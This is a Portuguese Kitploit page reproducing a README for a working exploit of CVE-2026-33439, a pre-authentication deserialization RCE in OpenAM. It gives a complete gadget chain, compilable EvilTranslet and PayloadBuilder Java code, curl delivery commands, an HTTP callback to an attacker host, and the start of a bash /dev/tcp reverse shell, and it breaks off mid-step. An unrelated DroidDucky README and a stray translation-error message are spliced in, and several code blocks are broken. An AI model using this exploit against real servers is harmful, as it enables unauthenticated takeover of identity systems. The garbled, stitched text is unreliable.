Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/themalwareguardian/cve-2026-33439
Análise de VulnerabilidadesAnálise de CódigoExploraçãoEngenharia ReversaExploração de Aplicações WebAnálise de MalwareTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
Exploração de Binários
Labs e Prática
GitHubthemalwareguardian/cve-2026-33439

CVE-2026-33439

Primeira implementação de exploit divulgada publicamente para CVE-2026-33439 (RCE pré-autenticação no OpenAM via desserialização de jato.clientSession).

Ver Repositório
217há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🐞 CVE-2026-33439: RCE pré-autenticação no OpenAM via desserialização de jato.clientSession

Percepção humana + análise assistida por IA + engenharia reversa + advisory → exploit

Primeira implementação de exploit compartilhada publicamente para CVE-2026-33439

Vulnerabilidade de desserialização Java não autenticada no ForgeRock OpenAM permitindo execução remota completa de código via objetos de sessão JATO manipulados. O mesmo rio flui duas vezes: corrigiram o jato.pageSession (CVE-2021-35464) e esqueceram o jato.clientSession (CVE-2026-33439). Uma cadeia de gadgets de desserialização não pede credenciais.




📑 Índice

  • Visão Geral
  • A Linhagem do CVE-2021-35464
  • Análise da Vulnerabilidade CVE-2026-33439
    📂
    • Causa Raiz
    • Versões Afetadas
    • Superfície de Ataque
  • A Cadeia de Gadgets
    📂
    • Desserialização Java 101
    • Encoder.decodeHttp64
    • Detalhes Internos da Cadeia de Gadgets
  • Ambiente de Laboratório
    📂
    • Arquitetura
    • Configuração
    • Acesso
  • Exploração
    📂
    • Pré-requisitos
    • Descoberta e Reconhecimento
    • Entendendo a Codificação
    • Construindo o Exploit
    • Entrega do Payload
    • Uso da Ferramenta PoC
  • Mitigação
  • Referências



  • 🎯 Visão Geral

    CVE-2026-33439 é uma vulnerabilidade de Execução Remota de Código pré-autenticação no OpenIdentityPlatform OpenAM (versões anteriores a 16.0.6). A vulnerabilidade decorre da desserialização Java insegura do parâmetro HTTP jato.clientSession dentro de ClientSession.deserializeAttributes(), que chama Encoder.deserialize() → ApplicationObjectInputStream.readObject() sem nenhuma whitelist de classes aplicada.

    Um atacante não autenticado envia uma solicitação HTTP GET ou POST manipulada contendo um objeto Java serializado para qualquer endpoint JATO ViewBean cujo JSP renderize tags <jato:form>. Ao recebê-la, o servidor desserializa o objeto sem validação, acionando uma cadeia de gadgets construída inteiramente com classes empacotadas no WAR do OpenAM - sem necessidade de bibliotecas externas - e executando comandos arbitrários do SO como o usuário do processo da aplicação.

    Vetor CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N → 9.3 Crítico

    Vetor CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H → 9.8 Crítico




    🧬 A Linhagem do CVE-2021-35464

    Esta vulnerabilidade é uma regressão direta da correção incompleta aplicada após o CVE-2021-35464.

    • CVE-2021-35464 (ForgeRock AM / OpenAM): RCE pré-autenticação via desserialização insegura do parâmetro jato.pageSession. Amplamente explorado em ambientes reais; listado na CISA KEV. A correção introduziu WhitelistObjectInputStream dentro de ConsoleViewBeanBase.deserializePageAttributes() - uma subclasse personalizada de ObjectInputStream que verifica cada nome de classe contra uma allowlist fixa de ~40 classes seguras antes de instanciá-la.

    • CVE-2026-33439 (OpenAM ≤ 16.0.5): A correção foi aplicada apenas ao jato.pageSession. O parâmetro jato.clientSession - tratado por um caminho de código completamente separado em ClientSession.deserializeAttributes() - nunca foi corrigido e ainda usa Encoder.deserialize() → ApplicationObjectInputStream sem filtro, que chama ObjectInputStream.readObject() sem whitelist de classes.

    A primitiva de ataque é a mesma. O sink de desserialização é diferente. Apenas o nome do parâmetro mudou.




    🔬 Análise da Vulnerabilidade CVE-2026-33439

    Causa Raiz

    O JATO serializa o estado da visão da interface para parâmetros HTTP chamados jato.pageSession e jato.clientSession. Quando uma solicitação chega, o OpenAM desserializa esses parâmetros para restaurar o estado da interface antes de renderizar a resposta. Os dois parâmetros seguem caminhos de código completamente diferentes.

    O caminho de código corrigido (pós-CVE-2021-35464) para jato.pageSession:```java // PATCHED - ConsoleViewBeanBase.deserializePageAttributes() ObjectInputStream ois = new WhitelistObjectInputStream(new ByteArrayInputStream(decoded)); // class whitelist enforced - gadget chains blocked Object obj = ois.readObject();

    root@kitploit:~
    O caminho de código não corrigido para jato.clientSession (vulnerável):```java
    // ClientSession.java
    protected ClientSession(RequestContext context) {
    	this.encodedSessionString =
    		context.getRequest().getParameter("jato.clientSession");
    }
    
    protected void deserializeAttributes() {
    	if (this.encodedSessionString != null
    		&& this.encodedSessionString.trim().length() > 0) {
    		this.setAttributes(
    			(Map) Encoder.deserialize(
    				// VULNERABLE - URL-safe base64 decode then plain ObjectInputStream
    				Encoder.decodeHttp64(this.encodedSessionString), false)
    		);
    	}
    }
    

    Encoder.deserialize() constrói um simples - uma subclasse de sem filtragem de classes. Qualquer classe no classpath da JVM pode ser instanciada. A desserialização é acionada durante a renderização de JSP sempre que uma tag é renderizada:``` getClientSession() → hasAttributes() → getEncodedString() → isValid() → ensureAttributes() → deserializeAttributes()

    Baixar ferramenta
    ApplicationObjectInputStream
    ObjectInputStream
    < jato:form >
    root@kitploit:~
    ---
    
    <div id="vulnerability_affected"/>
    
    ### ***Versões Afetadas***
    
    | Produto                     | Vulnerável                                      | Corrigido  |
    |-----------------------------|-------------------------------------------------|--------|
    | OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6 |
    | ForgeRock AM (downstream)   | Potencialmente afetado dependendo da linhagem do patch | -      |
    
    ---
    
    <div id="vulnerability_attacksurface"/>
    
    ### ***Superfície de Ataque***
    
    Qualquer endpoint JATO ViewBean cujo JSP contenha uma tag *< jato:form >* é explorável antes da autenticação:
    
    | Endpoint                  | Propósito                           |
    |---------------------------|--------------------------------------|
    | /ui/PWResetUserValidation | Redefinição de senha - entrada de identidade do usuário |
    | /ui/PWResetQuestion       | Redefinição de senha - perguntas de segurança |
    
    Os endpoints de redefinição de senha são o alvo principal; são publicamente acessíveis por design e têm garantia de renderizar tags *< jato:form >*.
    
    
    
    ---
    ---
    ---
    
    
    
    <div id="gadgetchain"/>
    
    ## ***⚙️ A Cadeia de Gadgets***
    
    <div id="gadgetchain_deserialization101"/>
    
    ### ***Desserialização Java 101***
    
    Quando o Java desserializa um objeto a partir de um fluxo de bytes, ele chama readObject() em cada classe que reconstrói, incluindo objetos aninhados. Se um atacante controla o fluxo de bytes e injeta um objeto cujo readObject() aciona uma cadeia de chamadas de método que termina em execução de código, ele obtém RCE por cadeia de gadgets.
    
    O ponto-chave do CVE-2026-33439: a cadeia de gadgets não requer bibliotecas externas. Cada classe da cadeia está empacotada dentro do próprio WAR do OpenAM `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodes-2.3.0.jar`. <u>Isso torna a vulnerabilidade explorável em qualquer implantação padrão do OpenAM.</u>
    
    ---
    
    <div id="gadgetchain_encoding"/>
    
    ### ***Encoder.decodeHttp64***
    
    Este é o detalhe crítico que faz o exploit funcionar. A classe `Encoder` em `jato-shaded-16.0.5.jar` usa o codificador/decodificador base64 seguro para URL do Java - não o base64 padrão, e não um esquema de substituição de caracteres personalizado.
    
    Verificado ao descompilar Encoder.class:```bash
    # Extract Encoder.class from the JATO JAR
    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
    
    # Decompile and inspect decodeHttp64
    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
    

    DroidDucky v1.00 (c) 2014 by MrUn1k0d3r RingZer0 Team

    Resumo

    Transforme seu dispositivo Android em um Ducky via adb

    O que é o Droidducky?

    Droidducky é um simples script Python que "converte" seu dispositivo Android e um cabo OTG em um Rubber Ducky.

    Vídeo do projeto: https://www.youtube.com/watch?v=nfNe5yKifvE

    Requisitos

    • Python
    • Android com modo de desenvolvedor ativado

    Uso

    Primeiro você precisa configurar seu payload (apenas um) dentro do arquivo duckyscript.txt (verifique o repositório DuckyScript para saber mais sobre DuckyScript).
    Uma vez que seu payload estiver pronto, conecte um dispositivo Android usando adb.

    Então você pode executar o DroidDucky usando a seguinte sintaxe:

    root@kitploit:~
    root@kali:~# python DroidDucky.py
    [+] DroidDucky v1.00 by MrUn1k0d3r & RingZer0 Team
    [+] Checking for device
    List of devices attached
    XYZ123456789	device
    
    [+] Device found running update
    [+] Removing previous payload if exist
    [+] Pushing payload DroidDucky/duckyscript.txt to /sdcard/
    83 KB/s (361 bytes in 0.004s)
    [+] Pushing payload DroidDucky/run.sh /sdcard/
    30 KB/s (10 bytes in 0.000s)
    [+] Running the payload
    [+] Waiting for just a second
    [+] Payload has been executed cleaning up
    [+] Done...
    

    O payload é executado bruto, nada é feito nele, portanto, se você precisar de qualquer atraso, seu payload deve contê-lo.``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

    root@kitploit:~
    O base64 seguro para URL usa '-' em vez de '+' e '_' em vez de '/', sem preenchimento '='. A codificação correta é:```java
    Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)
    

    Qualquer outra codificação, incluindo base64 padrão ou substituição manual de caracteres, fará com que decodeHttp64() lance uma exceção ou produza bytes corrompidos, abortando silenciosamente a desserialização sem nenhum erro na resposta HTTP.


    Detalhes Internos da Gadget Chain

    A cadeia completa, usando apenas classes do OpenAM WAR:``` PriorityQueue.readObject() [java.util - JDK] → heapify() → siftDown() → comparator.compare() → Column$ColumnComparator.compare(o1, o2) [openam-core-16.0.5.jar] → Column.getTable().isSortedAscending() [click-nodeps-2.3.0.jar] → Column.getProperty(o1) → PropertyUtils.getObjectPropertyValue( [openam-core-16.0.5.jar] o1, "outputProperties") → Method.invoke(o1, "getOutputProperties") → TemplatesImpl.getOutputProperties() [xalan-2.7.3.jar] → getTransletInstance() → defineTransletClasses() → TransletClassLoader.defineClass(_bytecodes) → _class[_transletIndex].newInstance() → EvilTranslet.() [attacker bytecode] → Runtime.getRuntime().exec(cmd)

    root@kitploit:~
    - Containerd
    - CRI‑O
    - containerd+gvisor (runsc)```bash
    # Extract Column$ColumnComparator.class from the JAR
    jar xf /work/openam-core-16.0.5.jar 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class'
    
    # Decompile and inspect the compare() method, reveals getTable() call before getProperty()
    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
    
    # Extract and inspect Column.class, reveals getProperty() and setTable() methods
    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
    
    javap -p org/openidentityplatform/openam/click/control/Column.class | grep -i "getProperty\|setTable\|getTable\|getComparator"
    

    Detalhe crítico: "Column$ColumnComparator.compare()" chama "column.getTable().isSortedAscending()" antes de chamar "getProperty()". Se "getTable()" retornar null, a cadeia é abortada com "NullPointerException" antes de chegar a "TemplatesImpl". Um objeto "Table" deve ser associado ao "Column" via "column.setTable(table)" antes da serialização.




    🧪 Ambiente de Laboratório

    Arquitetura```

    ┌────────────────────────────────────────────────────────────────┐ │ Docker Network: lab_net │ │ (subnet 10.13.37.0/24) │ │ │ │ ┌──────────────────────────────┐ ┌───────────────────────┐ │ │ │ openam.lab.local │ │ attacker │ │ │ │ OpenAM 16.0.5 WAR │◄──│ Debian bookworm-slim │ │ │ │ Tomcat 10.1.52 + Java 21 │ │ Java 21 (JDK) │ │ │ │ jato.clientSession ← sink │ │ python3, curl, nc │ │ │ │ port 8080 │ │ │ │ │ └──────────────────────────────┘ └───────────────────────┘ │ │ ▲ │ └──────────────────┼─────────────────────────────────────────────┘ │ localhost:8080 ┌──────┴──────┐ │ HOST │ └─────────────┘

    root@kitploit:~
    | Container               | Image                                    | Role              |
    |-------------------------|------------------------------------------|-------------------|
    | cve_2026_33439_openam   | tomcat:10.1.52-jdk21 + OpenAM 16.0.5 WAR | Alvo vulnerável   |
    | cve_2026_33439_attacker | debian:bookworm-slim                     | Máquina de ataque |
    
    > O laboratório usa o WAR oficial do OpenAM 16.0.5 implantado no Tomcat 10.1.52 com Java 21 - o ambiente exato descrito no GitHub Security Advisory.
    
    ---
    
    <div id="lab_setup"/>
    
    ### ***Configuração***
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/eb3503ff207da2ca52bfa3d31aa36089671fbc32e784f97ac720b24f9b281aeb.png">
    </p>
    
    **Passo 1 - Baixe o WAR oficial do OpenAM 16.0.5**```powershell
    # From PowerShell on the host
    cd "01 Vulnerable"
    
    Invoke-WebRequest -Uri "https://github.com/OpenIdentityPlatform/OpenAM/releases/download/16.0.5/OpenAM-16.0.5.war" -OutFile "OpenAM-16.0.5.war"
    

    Passo 2 - Iniciar os contêineres```powershell docker compose up -d

    root@kitploit:~
    **Passo 3 - Configurar o OpenAM a partir do navegador**
    
    Navegue até "http://localhost:8080/openam", clique em "Create Default Configuration" e defina:
    
    | Campo                            | Valor         |
    |----------------------------------|---------------|
    | Senha do usuário padrão (amadmin) | Lab@dm1n2026! |
    | Senha do agente                 | secret12      |
    
    Aguarde cerca de 2 minutos para a configuração ser concluída.
    
    **Passo 4 - Confirmar que a redefinição de senha está habilitada**
    
    Faça login como amadmin → Configurar → Serviços Globais → Redefinição de Senha → ative o botão de alternância → Salvar Alterações.
    
    **Passo 5 - Identificar os endpoints JSP exploráveis**
    
    Encontre todos os JSPs no WAR que contenham tags *< jato:form >*, esses são os endpoints onde a desserialização de jato.clientSession é acionada:```powershell
    # Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
    docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam
    
    # Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
    docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"
    

    Inspecione o código-fonte do JSP para entender por que jato.clientSession pode não aparecer no HTML renderizado. A tag <jato:form> está envolvida dentro de <jato:content name="resetPage">, que só é renderizada quando o ViewBean ativa esse bloco. No entanto, <jato:useViewBean> no topo do JSP sempre instancia o ViewBean e processa jato.clientSession antes de decidir quais blocos renderizar - a desserialização ocorre nesse ponto, independentemente:```powershell docker exec cve_2026_33439_openam cat /usr/local/tomcat/webapps/openam/password/ui/PWResetUserValidation.jsp

    root@kitploit:~
    I'm unable to translate this chunk because the input content after "INPUT:" is empty. There is no source text provided to translate. Please provide the actual Markdown content for chunk 27.```jsp
    <%-- Always instantiates ViewBean and processes jato.clientSession --%>
    <jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">
    
    	<%-- Only renders if ViewBean activates this block --%>
    	<jato:content name="resetPage">
    		<jato:form name="PWResetUserValidation" method="post">
    			<%-- jato.clientSession hidden field appears here --%>
    		</jato:form>
    	</jato:content>
    
    </jato:useViewBean>
    

    Passo 6 - Verifique se o endpoint está acessível antes da autenticação```powershell (Invoke-WebRequest -Uri "http://localhost:8080/openam/ui/PWResetUserValidation" -UseBasicParsing).Content | Select-String "jato"

    root@kitploit:~
    ---
    
    <div id="lab_access"/>
    
    ### ***Acesso***```powershell
    # Drop into the attacker container
    docker exec -it cve_2026_33439_attacker bash
    

    Desmontagem:```powershell

    stop, keep volumes

    docker compose down

    full wipe

    docker compose down -v

    root@kitploit:~
    ---
    ---
    ---
    
    
    
    <div id="exploitation"/>
    
    ## ***💣 Exploração***
    
    <div id="exploitation_prerequisites"/>
    
    ### ***Pré-requisitos***
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
    </p>
    
    | Requisito              | Observações                                                                                                                      |
    |------------------------|----------------------------------------------------------------------------------------------------------------------------------|
    | JDK 21 (javac)         | Deve corresponder à versão da JVM em execução no OpenAM. Apenas JRE não é suficiente; javac é necessário para compilar EvilTranslet e PayloadBuilder |
    | openam-core-16.0.5.jar | Copiado do contêiner OpenAM - contém Column, Column$ColumnComparator, PropertyUtils                                           |
    | xalan-2.7.3.jar        | Copiado do contêiner OpenAM - contém TemplatesImpl, TransformerFactoryImpl                                                    |
    | serializer-2.7.3.jar   | Copiado do contêiner OpenAM - contém SerializationHandler usado por EvilTranslet                                                |
    | click-nodeps-2.3.0.jar | Copiado do contêiner OpenAM - contém Table (necessário para Column$ColumnComparator)                                              |
    | click-extras-2.3.0.jar | Copiado do contêiner OpenAM - dependência transitiva de click-nodeps                                                             |
    | jato-shaded-16.0.5.jar | Copiado do contêiner OpenAM - contém Encoder com decodeHttp64                                                                |
    | servlet-api.jar        | Copiado de lib/ do Tomcat - Jakarta Servlet API necessária para serialização de Table                                                |
    | Python 3.8+            | Para o script PoC                                                                                                               |
    | requests               | pip install requests                                                                                                             |
    
    ---
    
    <div id="exploitation_discovery"/>
    
    ### ***Descoberta e Reconhecimento***
    
    **Etapa 1 - Confirme que o OpenAM está em execução e identifique a versão**```
    http://localhost:8080/openam/ccversion/Version
    

    Passo 2 - Sondar endpoints do JATO ViewBean```bash for ENDPOINT in "/ui/PWResetUserValidation" "/ui/PWResetQuestion" "/ui/Login"; do STATUS=$(curl -sk -o /dev/null -w "%{http_code}"
    "http://openam.lab.local:8080/openam${ENDPOINT}?jato.clientSession=probe") echo "[HTTP ${STATUS}] ${ENDPOINT}" done

    root@kitploit:~
    **Passo 3 - Confirmar que jato.clientSession é processado**```bash
    curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"
    

    A resposta conterá "jato.defaultCommand" e "jato.pageSession", mas não "jato.clientSession" no HTML renderizado; isso é um comportamento esperado. O campo "jato.clientSession" aparece apenas dentro de < jato:content name="resetPage" >, que exige que o ViewBean ative esse bloco. No entanto, < jato:useViewBean > sempre instancia o ViewBean e processa "jato.clientSession" antes de decidir quais blocos renderizar. A desserialização é acionada no momento da instanciação, independentemente de o campo aparecer na saída HTML final. A presença de "jato.pageSession" na resposta confirma que a serialização JATO está ativa nesse endpoint e que "jato.clientSession" será desserializado na próxima requisição.


    Entendendo a Codificação

    Antes de construir o exploit, a codificação usada por "Encoder.decodeHttp64()" deve ser verificada descompilando o JAR do JATO. Essa etapa é essencial: usar a codificação errada causa falha silenciosa de desserialização.

    Etapa 1 - Copie todos os JARs necessários do OpenAM para o workspace do atacante

    Do PowerShell no host:```powershell docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/openam-core-16.0.5.jar . docker cp openam-core-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/xalan-2.7.3.jar . docker cp xalan-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/serializer-2.7.3.jar . docker cp serializer-2.7.3.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-nodeps-2.3.0.jar . docker cp click-nodeps-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/click-extras-2.3.0.jar . docker cp click-extras-2.3.0.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/webapps/openam/WEB-INF/lib/jato-shaded-16.0.5.jar . docker cp jato-shaded-16.0.5.jar cve_2026_33439_attacker:/work/ docker cp cve_2026_33439_openam:/usr/local/tomcat/lib/servlet-api.jar . docker cp servlet-api.jar cve_2026_33439_attacker:/work/

    root@kitploit:~
    **Passo 2 - Decompilar o Encoder para verificar o método de decodificação**
    
    De dentro do contêiner do atacante:```bash
    # Extract Encoder.class from the JATO JAR
    jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class
    
    # Decompile and inspect decodeHttp64
    javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"
    

    Saída esperada confirmando base64 URL-safe:``` public static byte[] decodeHttp64(java.lang.String); Code: 0: invokestatic #8 // Method java/util/Base64.getUrlDecoder:()Ljava/util/Base64$Decoder; 3: aload_0 4: invokevirtual #9 // Method java/util/Base64$Decoder.decode:(Ljava/lang/String;)[B 7: areturn

    root@kitploit:~
    **Passo 3 - Decompilar Column$ColumnComparator para verificar o caminho da cadeia de gadgets**```bash
    # Extract Column and ColumnComparator
    jar xf /work/openam-core-16.0.5.jar org/openidentityplatform/openam/click/control/Column.class
    
    # Verify compare() calls getTable() before getProperty()
    javap -p -c 'org/openidentityplatform/openam/click/control/Column$ColumnComparator.class' | grep -A40 "compare"
    

    Isto confirma que Column.getTable() deve retornar um objeto Table não nulo, caso contrário compare() lança NullPointerException antes de chegar a getProperty() → TemplatesImpl.


    Construindo o Exploit

    Todos os comandos a partir do contêiner do atacante.

    Passo 1 - Definir o classpath```bash CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work

    root@kitploit:~
    **Passo 2 - Escreva e compile EvilTranslet.java**
    
    EvilTranslet estende AbstractTranslet (exigido por TemplatesImpl) e executa o comando no inicializador estático, que é executado automaticamente em newInstance().```bash
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    javac -cp $CP /work/EvilTranslet.java
    

    Passo 3 - Escreva e compile PayloadBuilder.java

    PayloadBuilder constrói a cadeia de gadgets e gera o payload serializado codificado em base64 URL-safe.```bash cat > /work/PayloadBuilder.java << 'EOF' import org.apache.xalan.xsltc.trax.TemplatesImpl; import org.apache.xalan.xsltc.trax.TransformerFactoryImpl; import org.openidentityplatform.openam.click.control.Column; import org.openidentityplatform.openam.click.control.Table;

    import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.Comparator; import java.util.PriorityQueue;

    public class PayloadBuilder {

    root@kitploit:~
    // Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
    static String encodeHttp64(byte[] data) {
    	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
    }
    
    static void setField(Object obj, String name, Object value) throws Exception {
    	Field f = obj.getClass().getDeclaredField(name);
    	f.setAccessible(true);
    	f.set(obj, value);
    }
    
    static void setFieldPQ(Object obj, String name, Object value) throws Exception {
    	Field f = PriorityQueue.class.getDeclaredField(name);
    	f.setAccessible(true);
    	f.set(obj, value);
    }
    
    public static void main(String[] args) throws Exception {
    	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));
    
    	// Step 1 - TemplatesImpl with EvilTranslet bytecode
    	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
    	TemplatesImpl templates = new TemplatesImpl();
    	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
    	setField(templates, "_name",          "EvilTranslet");
    	setField(templates, "_tfactory",      new TransformerFactoryImpl());
    	setField(templates, "_transletIndex", 0);
    
    	// Step 2 - Column with Table associated
    	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
    	Table table = new Table();
    	Column column = new Column("outputProperties");
    	column.setTable(table);
    
    	@SuppressWarnings("unchecked")
    	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();
    
    	// Step 3 - PriorityQueue as deserialization trigger
    	// readObject() -> heapify() -> siftDown() -> comparator.compare()
    	// Size must be >= 2 for heapify to call compare()
    	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
    	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
    	setFieldPQ(queue, "size",  2);
    
    	// Step 4 - Serialize and URL-safe base64 encode
    	ByteArrayOutputStream baos = new ByteArrayOutputStream();
    	ObjectOutputStream oos = new ObjectOutputStream(baos);
    	oos.writeObject(queue);
    	oos.close();
    
    	System.out.println(encodeHttp64(baos.toByteArray()));
    }
    

    } EOF

    javac -cp $CP /work/PayloadBuilder.java

    root@kitploit:~
    **Passo 4 - Gerar o payload**```bash
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64
    
    # Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
    head -c 10 /work/payload.b64
    

    Entrega de Payload

    Confirme o RCE com um callback HTTP fora de banda

    Terminal 1 - Listener:``` docker exec -it cve_2026_33439_attacker bash

    nc -lvnp 9999

    root@kitploit:~
    Terminal 2 - Gerar e enviar payload de callback:```
    docker exec -it cve_2026_33439_attacker bash
    
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"curl", "http://attacker:9999/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_http.b64
    
    PAYLOAD=$(cat /work/payload_http.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    Se o RCE estiver funcionando, o Terminal 1 recebe uma conexão HTTP de entrada do servidor OpenAM:``` nc -lvnp 9999 listening on [any] 9999 ... connect to [10.13.37.2] from (UNKNOWN) [10.13.37.3] 51992 GET /pwned HTTP/1.1 Host: attacker:9999 User-Agent: curl/8.5.0 Accept: /

    root@kitploit:~
    **Escrever um artefato de arquivo**
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/1a393801c28cfd5e0e6a39210562399aa1840cf7bd25bc839a397f627729c037.png">
    </p>```
    cat > /work/EvilTranslet.java << 'EOF'
    import org.apache.xalan.xsltc.TransletException;
    import org.apache.xalan.xsltc.runtime.AbstractTranslet;
    import org.apache.xml.dtm.DTMAxisIterator;
    import org.apache.xml.serializer.SerializationHandler;
    import org.apache.xalan.xsltc.DOM;
    
    public class EvilTranslet extends AbstractTranslet {
    	static {
    		try {
    			Runtime.getRuntime().exec(new String[]{"touch", "/tmp/pwned"});
    		} catch (Exception ignored) {}
    	}
    	public void transform(DOM d, SerializationHandler[] h) throws TransletException {}
    	public void transform(DOM d, DTMAxisIterator i, SerializationHandler h) throws TransletException {}
    }
    EOF
    
    CP=/work/openam-core-16.0.5.jar:/work/xalan-2.7.3.jar:/work/serializer-2.7.3.jar:/work/click-nodeps-2.3.0.jar:/work/click-extras-2.3.0.jar:/work/servlet-api.jar:/work
    
    javac -cp $CP /work/EvilTranslet.java
    
    java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload_file.b64
    
    PAYLOAD=$(cat /work/payload_file.b64)
    
    curl -sk -G "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" --data-urlencode "jato.clientSession=${PAYLOAD}" | grep "jato."
    

    Verifique a partir do PowerShell:``` docker exec cve_2026_33439_openam ls -la /tmp/pwned

    root@kitploit:~
    **Shell reversa**
    
    <p align="center">
    	<img src="https://assets.kitploit.com/production/public/readmes/42320/3e8c65c8fc037c62904e16abf7ffce67ecf3f9af373ee6dd8b63691579d5d1ac.png">
    </p>
    
    Terminal 1 - Ouvinte:```
    docker exec -it cve_2026_33439_attacker bash
    
    nc -lvnp 4444
    

    Terminal 2 - Entregar:``` docker exec -it cve_2026_33439_attacker bash

    CMD='bash -i >& /dev/tcp/attacker/4444 0>&1'

    B64CMD=$(echo "$CMD" | base64 -w 0)

